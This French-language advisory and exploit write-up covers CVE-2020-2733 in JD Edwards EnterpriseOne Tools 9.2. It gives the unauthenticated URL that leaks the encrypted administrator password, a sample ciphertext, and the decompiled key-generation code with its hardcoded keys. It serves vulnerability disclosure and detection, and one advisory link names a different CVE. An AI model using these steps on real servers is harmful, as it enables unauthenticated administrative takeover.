
Exploit pour CVE-2020-2733 dans JD Edwards EnterpriseOne Tools, démontrant le déchiffrement du mot de passe administrateur non authentifié et le contournement d'authentification pour obtenir les droits d'administrateur.
Image 1 : Déchiffrer la chaîne
Image 2 : Déchiffrer en donnant l'URL
Application: JD Edwards EnterpriseOne Tools
Versions concernées: JD Edwards EnterpriseOne Tools 9.2
URL du fournisseur: https://oracle.com/
Bogue: Divulgation d'informations
Signalé: 18 septembre 2019
Date de l'avis public: 23 août 2022
Référence: [https://www.oracle.com/security-alerts/cpuapr2020.html, https://redrays.io/cve-2020-2733-jd-edwards/]
Modèle Nuclei pour la détection: https://github.com/projectdiscovery/nuclei-templates/blob/68f0ad5fa2f54a08959e2d68633174750fcb4952/http/cves/2020/CVE-2020-2733.yaml#L2
INFORMATIONS DE L'AVIS
Titre: [CVE-2020-2733] Le mot de passe administrateur de JD Edwards EnterpriseOne Tools n'est pas suffisamment protégé
Risque: Critique
URL de l'avis: https://redrays.io/cve-2020-6369-patch-bypass/
Date de publication: 23.08.2022
Exploitable à distance: Oui
Exploitable localement: Non
Informations CVSS : CVSS v3.1 Base Score: 9.8 / 10 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
JD Edwards EnterpriseOne Tools 9.2 ou versions inférieures permettent à des attaquants non authentifiés de contourner l'authentification et d'obtenir des droits d'administrateur sur le système.
La vulnérabilité a été découverte dans le portail de gestion Oracle JD Edwards. Pour reproduire la vulnérabilité, vous devez ouvrir (sans authentification) l'URL suivante
http://JDEdwards:8999/manage/fileDownloader?sec=1
Lorsque vous ouvrez l'URL, vous pouvez voir un texte pseudo-aléatoire dans la page.

ACHCJKGJHCJKBLLALOLOJFCABEFHOALDDAOFNGGANPDB
Après avoir analysé les fichiers jar de JD Edwards, nous avons découvert que ces données pseudo-aléatoires sont – LE MOT DE PASSE ADMINISTRATEUR CHIFFRÉ !
Les clés de chiffrement se trouvent dans la fonction suivante
private static void genKeys(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte paramByte)
{
int i = 0;
byte[] arrayOfByte1 = { 65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68, 75, 19, 49, 46 };
byte[] arrayOfByte2 = { 107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28, 97, 5, Byte.MAX_VALUE, 77, 54 };
byte[] arrayOfByte3 = { 36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16, 53, 106, 94, 27, 56 };
int j = paramByte >> 4;
int k = paramByte & 0xF;
int m = arrayOfByte3[j];
for (i = 0; i < 16; i++) {
paramArrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ m));
}
m = arrayOfByte3[k];
for (i = 0; i < 16; i++) {
paramArrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ m));
}
}
En conséquence, vous obtiendrez un mot de passe administrateur et vous pourrez déployer n'importe quelle application dans le portail JD Edwards.

Référence / Crédit : https://redrays.io/blog/cve-2020-2733-jd-edwards/